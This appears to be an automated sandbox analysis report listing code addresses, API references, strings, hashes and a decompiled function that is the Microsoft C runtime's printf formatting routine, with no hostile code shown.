0x00434ede
0x00434ee1
0x00434ee2
0x00434ee8
0x00434ee9
0x00434ef7
0x00434ef9
0x00434eff
0x00434eff
0x00434f05
0x00434f07
0x00434f0b
0x00434f0d
0x00434f15
0x00434f16
0x00434f19
0x00434f1a
0x00434f28
0x00434f2a
0x00434f2a
0x00434f0b
0x00434f2d
0x00434f34
0x00434f37
0x00434f3c
0x00434f3c
0x00434f42
0x00434f44
0x00434f4c
0x00434f4d
0x00434f50
0x00434f51
0x00434f60
0x00434f62
0x00434f62
0x00434f42
0x00434f65
0x00434f68
0x00434f6b
0x00434f6e
0x00434f73
0x00434f79
0x00434f7c
0x00434f7f
0x00434f7f
0x00434f82
0x00434f82
0x00434f85
0x00434f91
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x004352a2
0x00434e33
0x00434e33
0x00434e3a
0x00434e3d
0x00000000
0x00000000
0x00434e3f
0x00434e3f
0x00000000
0x00434e3f
0x00434e24
0x00434e24
0x00000000
0x00000000
0x00434ab1
0x00434ab4
0x00434ab4
0x00434aba
0x00434b15
0x00434b1d
0x00434b24
0x00434b2a
0x00434b30
0x00434abc
0x00434abc
0x00434ac6
0x00434aca
0x00434ad2
0x00434ad9
0x00434ae6
0x00434aed
0x00434af9
0x00434aff
0x00434b06
0x00434b08
0x00434b08
0x00434b0f
0x00434b37
0x00434b3d
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa2
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ffc
0x00434ffc
0x00435006
0x00435006
0x0043500c
0x0043500e
0x00435011
0x00435011
0x00435017
0x00435017
0x00000000
0x00000000
0x00434fb4
0x00434fb4
0x00000000
0x00000000
0x00434bf1
0x00434bf1
0x00434bf5
0x00434c03
0x00434c06
0x00434bf7
0x00434bf7
0x00434bf7
0x00434c0c
0x00434c12
0x00434c18
0x00434c24
0x00434c2a
0x00434c2a
0x00434c30
0x00434c97
0x00434c97
0x00434c9b
0x00434c9d
0x00434ca3
0x00434ca3
0x00434ca6
0x00434ca9
0x00434caf
0x00434caf
0x00434caf
0x00434cbb
0x00434cbe
0x00434cc4
0x00434cc6
0x00000000
0x00000000
0x00434cc8
0x00434cc8
0x00434cce
0x00434cd1
0x00434cd3
0x00000000
0x00000000
0x00434cd5
0x00434cdb
0x00434cde
0x00434cde
0x00434ce6
0x00434ce6
0x00434cec
0x00434cec
0x00434cef
0x00000000
0x00434c32
0x00434c32
0x00434c32
0x00434c36
0x00434c38
0x00434c3d
0x00434c3d
0x00434c40
0x00434c47
0x00434c4a
0x00434c50
0x00434c50
0x00434c50
0x00434c5c
0x00434c5f
0x00434c65
0x00434c67
0x00000000
0x00000000
0x00434c69
0x00434c69
0x00434c6f
0x00434c72
0x00434c74
0x00000000
0x00000000
0x00434c76
0x00434c7c
0x00434c7f
0x00434c7f
0x00434c87
0x00434c8d
0x00434c90
0x00434c92
0x00434cf2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00000000
0x00434fab
0x00434fab
0x00000000
0x00000000
0x00434fc7
0x00434fc7
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x0043501a
0x0043501d
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350d6
0x004350da
0x004350e2
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bb
0x004350bf
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435095
0x004350a1
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x00435079
0x0043507d
0x00435085
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x0043504c
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435024
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f3
0x004350f6
0x00435138
0x00435138
0x0043513e
0x00435144
0x0043514a
0x00000000
0x004350f8
0x004350f8
0x004350f8
0x004350ff
0x00000000
0x00000000
0x00435101
0x00435101
0x0043510c
0x00435112
0x00435114
0x0043511a
0x0043511d
0x0043511f
0x00435125
0x0043512e
0x00435133
0x00435150
0x00435153
0x00435153
0x00435158
0x0043515d
0x0043515d
0x00435163
0x00435165
0x0043516b
0x00435171
0x00435171
0x0043517a
0x0043517a
0x00435163
0x00435180
0x00435184
0x00435192
0x00435195
0x00435198
0x0043519f
0x004351a1
0x004351a1
0x00435186
0x00435186
0x00435186
0x004351ae
0x004351ae
0x004351b4
0x004351b6
0x004351b6
0x004351bd
0x004351c0
0x004351c3
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x004351d3
0x004351d9
0x004351d9
0x004351df
0x00000000
0x00000000
0x004351e1
0x004351e1
0x004351e4
0x004351e7
0x004351ee
0x004351f5
0x004351fd
0x00435203
0x00435206
0x00435209
0x00435210
0x0043521c
0x00435222
0x00435228
0x0043522f
0x00435231
0x00435237
0x00435237
0x0043523d
0x0043523d
0x00435243
0x00435246
0x0043524c
0x00435251
0x00435254
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x00000000
0x004351d1
0x004351c3
0x00435103
0x00435103
0x0043510a
0x00000000
0x00000000
0x00000000
0x0043510a
0x00000000
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00000000
0x00434861
0x00434864
0x00434867
0x00000000
0x00000000
0x0043486c
0x0043486f
0x00434874
0x00000000
0x00000000
0x00434856
0x00434856
0x00434859
0x0043485c
0x00000000
0x00000000
0x0043484b
0x0043484e
0x00434851
0x00000000
0x00000000
0x00434879
0x00434879
0x0043487c
0x0043487c
0x0043487f
0x00000000
0x00000000
0x00434882
0x00000000
0x00000000
0x0043461e
0x00434620
0x0043462e
0x00434622
0x00434622
0x00434622
0x00434638
0x0043463e
0x0043464b
0x0043464d
0x00434652
0x00434654
0x00434659
0x0043465e
0x00434660
0x00434665
0x0043466b
0x0043466d
0x0043466d
0x0043466b
0x0043466e
0x00434675
0x00000000
0x00434677
0x0043467c
0x00434698
0x004346a0
0x004346ad
0x004346b2
0x00000000
0x004346b2
0x00434675
0x00434618
0x004354ad
0x004354b4
0x004354cb
0x004354cb
0x004354d5
0x004354d5
0x004354db
0x004354e8
0x004354ea
0x004354ef
0x004354f1
0x004354f6
0x004354fb
0x004354fd
0x00435502
0x00435508
0x0043550a
0x0043550a
0x00435508
0x00435512
0x0043555d
0x00435566
0x0043556b
0x00435514
0x00435519
0x00435535
0x0043553d
0x0043554a
0x0043554f
0x0043554f
0x00000000
0x00435512
0x004354b6
0x004354bd
0x00000000
0x00000000
0x004354bf
0x004354bf
0x00000000
0x004354bf
0x00434d6f
0x00434d6f
0x00434d74
0x00434d90
0x00434d98
0x00434da2
0x00434da5
0x00434daa
0x00435571
0x0043557e
0x0043557e
0x00434dba
0x00434dc0
0x00434de0
0x00434dc2
0x00434dcf
0x00434dcf
0x00434de2
0x00000000
0x00434de2

APIs

_get_int_arg.LIBCMTD ref: 00434CFB
__get_printf_count_output.LIBCMTD ref: 00434D09
__invalid_parameter.LIBCMTD ref: 00434D90
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434DA5
_write_multi_char.LIBCMTD ref: 0043531E
_write_string.LIBCMTD ref: 00435339
_write_multi_char.LIBCMTD ref: 00435365
_wctomb_s.LIBCMTD ref: 004353E2

Strings

("'n' format specifier disabled", 0), xrefs: 00434D45, 00434D8B
_output_s_l, xrefs: 0043468E, 00434D86
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434659, 00434689, 00434D51, 00434D81
("Incorrect format specifier", 0), xrefs: 0043464D, 00434693
-, xrefs: 004352BE

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: d32352789f121b72b77178c9d289076d5a005ce83b238c2c337aa3356c66b799
Instruction ID: d1aa1191d22c5254cfd1e9e0ebfd268eae8815c4e253120f918e0e6c286853e4
Opcode Fuzzy Hash: d32352789f121b72b77178c9d289076d5a005ce83b238c2c337aa3356c66b799
Instruction Fuzzy Hash: 14A1AD70D016289BDB64DF55CC49BEEB7B0AB88305F2091DAE5187A281D778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C10A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C10A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E00428370(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433F20() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E390();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043CB00(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043CB40( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043CB00(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043CB40( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AE60(_t600 - 0x40);
									_t523 = E0043B5A0(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043CAA0( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043CB00(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C550( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043C994))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043CAA0( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43ca60; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CA24))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00428370(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
